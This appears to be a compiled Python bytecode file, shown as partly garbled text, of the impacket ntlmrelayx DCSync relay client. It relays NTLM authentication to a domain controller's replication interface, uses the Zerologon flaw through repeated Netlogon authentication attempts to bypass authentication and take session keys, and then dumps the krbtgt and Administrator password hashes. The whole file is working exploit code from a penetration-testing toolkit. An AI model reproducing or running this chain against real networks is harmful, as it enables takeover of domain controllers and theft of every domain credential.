o
    jR                     @   sl  d dl mZmZ d dlmZmZ d dlZd dlmZ d dl	m
Z
mZ d dlmZ d dlmZ d dlmZmZ d d	lmZmZmZmZmZmZmZ d d
lmZ d dlmZmZm Z m!Z!m"Z" d dl#m$Z$ d dl%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5 d dl6m7Z7m8Z8m9Z9 dZ:G dd de;Z<G dd de(Z=G dd de7Z>G dd deZ?dS )    )unpackpack)hexlify	unhexlifyN)ARC4)LOGntlm)SMBConnection)ProtocolClient)STATUS_SUCCESSSTATUS_ACCESS_DENIED)NTLMAuthChallengegenerateEncryptedSessionKeyNTLMAuthChallengeResponseAV_PAIRSNTLMSSP_AV_HOSTNAMENTLMAuthNegotiateNTLMSSP_NEGOTIATE_SEAL)SPNEGO_NegTokenResp)	transportrpcrtepmdrsuapinrpc)NDRCALL)NULL)	DCERPC_v5	MSRPCBindCtxItemMSRPCHeaderSEC_TRAILERMSRPCBindAckMSRPCRespHeaderMSRPCBindNakDCERPCExceptionRPC_C_AUTHN_WINNTRPC_C_AUTHN_LEVEL_CONNECTrpc_status_codesrpc_provider_reasonRPC_C_AUTHN_LEVEL_PKT_PRIVACY)RemoteOperations	SAMHashes
NTDSHashesDCSYNCRelayClientc                   @   s   e Zd ZdS )DCSYNCRelayClientExceptionN)__name__
__module____qualname__ r2   r2   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/clients/dcsyncclient.pyr.   &   s    r.   c                   @   s$   e Zd Zdd Zdd Zdd ZdS )MYDCERPC_v5c                 C   s   t | | d S N)r   __init__)selfr   r2   r2   r3   r6   *   s   zMYDCERPC_v5.__init__c                 C   s  t  }t }||d< | j|d< d|d< d|d< || t }tj|d< | |d< d|d	< t }t	|d
< t
|d< d|d< dt| d  d }|dkr[|d  d| 7  < ||d< ||d< ||d< | j|  | j }|dkryt|}	ndS |	d tjks|	d tjkrt|	 }
nV|	d tjks|	d tjkr|	d tjkrt|	 }	td|	d d d d }n
t|	d }	|	d }|tv rt|d|tv rtdt|  td| td|	d  | |
d  |
S )NAbstractSyntaxTransferSyntaxr   	ContextID   
TransItemstypepduDatacall_id	auth_type
auth_level5 auth_ctx_id      auth_pad_lensec_trailer	auth_data<LRejectedReason)
error_codezBind context rejected: %sz'Unknown DCE RPC fault status code: %.8xz(Unknown DCE RPC packet type received: %d	max_rfrag)r   r   transfer_syntax
addCtxItemr   r   
MSRPC_BINDgetDatar    r%   r)   len
get_packet
_transportsendrecvMSRPC_BINDACKMSRPC_ALTERCTX_Rr!   MSRPC_BINDNAKMSRPC_FAULTr"   r   r#   r'   r$   r(   set_max_tfrag)r7   
iface_uuidrH   binditempacketrG   padsrespbindRespstatus_coder2   r2   r3   sendBindType1-   sT   





zMYDCERPC_v5.sendBindType1c                 C   sf   t  }t|d< t|d< d|d< t }tj|d< d|d< ||d< ||d	< d
|d< | jj| dd d S )Nr@   rA   rB   rC   r=   s       r>   rG   rH   r   r?   r;   )forceWriteAndx)	r    r%   r)   r   r   MSRPC_AUTH3rS   rT   rR   )r7   rH   rG   auth3r2   r2   r3   sendBindType3h   s   
zMYDCERPC_v5.sendBindType3N)r/   r0   r1   r6   rd   rh   r2   r2   r2   r3   r4   )   s    ;r4   c                   @   s   e Zd Zdd Zdd ZdS )PatchedRemoteOperationsc                 C   s   dS )N) rj   r2   r7   r2   r2   r3   getMachineNameAndDomain      z/PatchedRemoteOperations.getMachineNameAndDomainc                 C      d S r5   r2   )r7   domainr2   r2   r3   connectSamr   rm   z#PatchedRemoteOperations.connectSamrN)r/   r0   r1   rl   rp   r2   r2   r2   r3   ri   }   s    ri   c                   @   sP   e Zd ZdZdZdddZdd Zd	d
 ZdddZdd Z	dd Z
dd ZdS )r-   z
    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
    DCSYNCNTc                 C   sh   t | |||| |j| _tj| _td|j	| jf  t
j|j	| jdd| _td| j| jf  d S )Nz@Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbindingncacn_ip_tcpprotocolz%s stringbinding is %s)r
   r6   rpc_modeendpointr   MSRPC_UUID_DRSUAPIendpoint_uuidr   debugnetlocr   hept_mapstringbinding)r7   serverConfigtarget
targetPortextendedSecurityr2   r2   r3   r6      s   zDCSYNCRelayClient.__init__c                 C   s   t | j}| jjr1td| jj| jj	f  |
| jj| jj| jj| jj| jj || jj	 t|| _| jtj | j  dS )Nz<Authenticating to smb://%s:%d with creds provided in cmdlineT)r   DCERPCTransportFactoryr|   r}   rpc_use_smbr   infor~   rz   rpc_smb_portset_credentialssmbusersmbpass	smbdomain	smblmhash	smbnthash	set_dportr4   sessionset_auth_levelr   r)   connect)r7   rpctransportr2   r2   r3   initConnection   s   

z DCSYNCRelayClient.initConnectionc                 C   sj   t  }|| |d t@ dkr|d  tO  < | | _| j| j| j}t | _	| j	|d  | j	S )Nflagsr   rH   )
r   
fromStringr   rP   negotiateMessager   rd   rx   r   	challenge)r7   rH   negoMessagerb   r2   r2   r3   sendNegotiate   s   

zDCSYNCRelayClient.sendNegotiatec                 C   s  t d|d d d tjkrt|}|d }n|}d }z&z| ||}|dkr7W W |d ur5|  d S d S | j| t }|| d|d< |d t	@ dkrY|d  t	O  < t
|| j| j  |  }||d< | j|  t }	tj|	d< t }
t|
|
d	< tjtjB tjB tjB |
d
< tj|
d< d|
d< d|
d< d|
d< tj|
d< d|
d< t|
|	d d	< t|
 |	d d< | j|	}| jjdkrt| jj | jj }|!| jj| jj"| jj#| jj$| jj% t&|d}nt'd d}t }d(|d d dtt |d d	    }|| |d dkrCt)*d|d   |d |
d< t|
|	d d	< t|
 |	d d< | j|	}|d |_+|d ,d}t-| j|j+|d}|d d d  dkrr|d d d! d d" |_.nt)/d#|  t0d$| j|_1| jjdkrt2d d d%dd|dddd d&d dd'}|3  npt2d d d%dd|dddd d&|d( dd'}|3  |d) d*d  }t4|}|t5 d ,d}t2d d d%dd|dddd d&|d+ | d, dd'}|3  zt2d d d%dd|dddd d&|d- dd'}|3  W n t0y   t)/d. Y nw d t6fW W |d ur|  S S  t0y4 } z
t78  W Y d }~nd }~ww W |d urA|  d S d S |d urM|  w w )/NBr;   r   ResponseTokens                   MICr   puuidClientDsacbdwFlagsSiteObjGuidPiddwReplEpoch
dwFlagsExtConfigObjGUIDl    	dwExtCaps
pextClientrgbrj   F    ppextServer    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againphDrsdomain_nameutf-16le   pmsgOutV2cItemsrItemsNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, abortingThashes)isRemotehistorynoLMHash	remoteOpsuseVSSMethodjustNTLM
pwdLastSetresumeSessionoutputFileNamejustUserprintUserStatusz/krbtgtr   ,   /$z/Administratorz'Could not dump administrator (renamed?))9r   r   SPNEGO_NEG_TOKEN_RESPnetlogonSessionKeyfinishr   set_session_keyr   r   r   r   hmac_md5r   r   rP   rh   r   DRSBindNTDSAPI_CLIENT_GUIDDRS_EXTENSIONS_INTrQ   DRS_EXT_GETCHGREQ_V6DRS_EXT_GETCHGREPLY_V6DRS_EXT_GETCHGREQ_V8DRS_EXT_STRONG_ENCRYPTIONNULLGUIDlistrequestr}   r   r	   r~   rz   loginr   r   r   r   r*   ri   joinr   ry   _RemoteOperations__hDrsdecodehDRSDomainControllerInfo$_RemoteOperations__NtdsDsaObjectGuiderror	Exception_RemoteOperations__drsrr,   dumpr   r   r   	traceback	print_exc)r7   authenticateMessageBlobserverChallenge
respToken2rH   r   
signingkeyauthenticateMessagenewmicr   drsra   smbConnectiondrsExtensionsIntr   
domainNamenhav_pairs
serverNameer2   r2   r3   sendAuth   s   
w
 















zDCSYNCRelayClient.sendAuthc                 C   s  t d| jj  t|}t }||d  |d d}|d }z|d dd  }t|}|t	 d d}W n   t j
d	d
d t Y S tj| jjtjdd}	t|	 }
|
  |
tj d}td|D ]m}t|
t|d d}|d }d}zt|
t|d tjj|d |d W n@ tjy } z| dkrW Y d }~qkt d|  W Y d }~nd }~w ty } zt dt| W Y d }~nd }~ww t d|  nt d d S t dt!d|d d }t!ddd }t" }d|d< |d |d< tj#j$|d < tj%j&|d!< tj%j&|d" d#< ||d" d$ d% d&< ||d" d$ d% d'< |d( d|d" d$ d% d)< d*|d" d$ d% d+< ||d" d$ d,< |d |d" d$ d-< |d. |d" d$ d/< t' }d|d0< d|d1< ||d2< d|d3 d0< d|d3 d1< d|d4< z|
(|}W n% t)y } zt j
d	d
d t t| | W  Y d }~S d }~ww t d5||d( df  |d6 }|d*krt*|d7 d8 d9 |}n|d7 d8 d9 }t d:t+|d;  |t,j-@ r#t,.||| j/_0t,.||d<| j/_1t,2||| j/_3t,2||d<| j/_4t56| j/j3}|j7| j/_8t56| j/j4}|j7| j/_9n!|| j/_0|| j/_1|| j/_3|| j/_4t56| j/j0}|j7| j/_8|j7| j/_9d| j/_:|| j/_;|S )=Nz!Connecting to %s NETLOGON servicer   r   r   r   r   r   r;   z
Exception:T)exc_inforr   rs   ip  r    s           ServerChallengez$ i.!l   "    z"Unexpected error code from DC: %d.zUnexpected error: %szXNetlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!zENo success bypassing auth after 6000 attempts. Target likely patched!z<Q
   rI   s   *  LogonServerComputerNameValidationLevel
LogonLevelLogonInformationtagLogonNetworkTransitiveIdentityLogonDomainNameParameterControl	user_nameUserNamerj   WorkstationLmChallengeNtChallengeResponselanmanLmChallengeResponse
Credential	TimestampAuthenticatorReturnAuthenticator
ExtraFlagsz-%s\%s successfully validated through NETLOGONsession_keyValidationInformationValidationSam4UserSessionKeyzNTLM Sign/seal key: %s zutf-8s   Server)<r   r   r~   rz   r   r   r   r   r   r   ry   r   r   r{   r   MSRPC_UUID_NRPCr   r   get_dce_rpcr   r\   rangehNetrServerReqChallenger   hNetrServerAuthenticate3NETLOGON_SECURE_CHANNEL_TYPEServerSecureChannelDCERPCSessionErrorget_error_coder   BaseExceptionstrr   r   NetrLogonSamLogonWithFlagsNETLOGON_VALIDATION_INFO_CLASSNetlogonValidationSamInfo4NETLOGON_LOGON_INFO_CLASS$NetlogonNetworkTransitiveInformationNETLOGON_AUTHENTICATORr   r$   r   r   r   *NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYSIGNKEYr   _DCERPC_v5__clientSigningKey_DCERPC_v5__serverSigningKeySEALKEY_DCERPC_v5__clientSealingKey_DCERPC_v5__serverSealingKeyr   newencrypt_DCERPC_v5__clientSealingHandle_DCERPC_v5__serverSealingHandle_DCERPC_v5__sequence_DCERPC_v5__flags)r7   r   r   r   r   r   r   r   r   bindingdceMAX_ATTEMPTSattemptra   r   pppexclientStoredCredentiallflagsr   authenticatorr   encryptedSessionKey
signingKeycipher3cipher4cipherr2   r2   r3   r   :  s   




z$DCSYNCRelayClient.netlogonSessionKeyc                 C   s&   | j d ur| j    d | _ d S d S r5   )r   get_rpc_transport
disconnectrk   r2   r2   r3   killConnection  s   

z DCSYNCRelayClient.killConnectionc                 C   rn   r5   r2   rk   r2   r2   r3   	keepAlive  rm   zDCSYNCRelayClient.keepAlive)NTr5   )r/   r0   r1   __doc__PLUGIN_NAMEr6   r   r   r   r   r6  r7  r2   r2   r2   r3   r-      s    

 x)@structr   r   binasciir   r   r   Cryptodome.Cipherr   impacketr   r   impacket.smbconnectionr	   $impacket.examples.ntlmrelayx.clientsr
   impacket.nt_errorsr   r   impacket.ntlmr   r   r   r   r   r   r   impacket.spnegor   impacket.dcerpc.v5r   r   r   r   r   impacket.dcerpc.v5.ndrr   impacket.dcerpc.v5.dtypesr   impacket.dcerpc.v5.rpcrtr   r   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   impacket.examples.secretsdumpr*   r+   r,   PROTOCOL_CLIENT_CLASSr   r.   r4   ri   r-   r2   r2   r2   r3   <module>   s(   $@T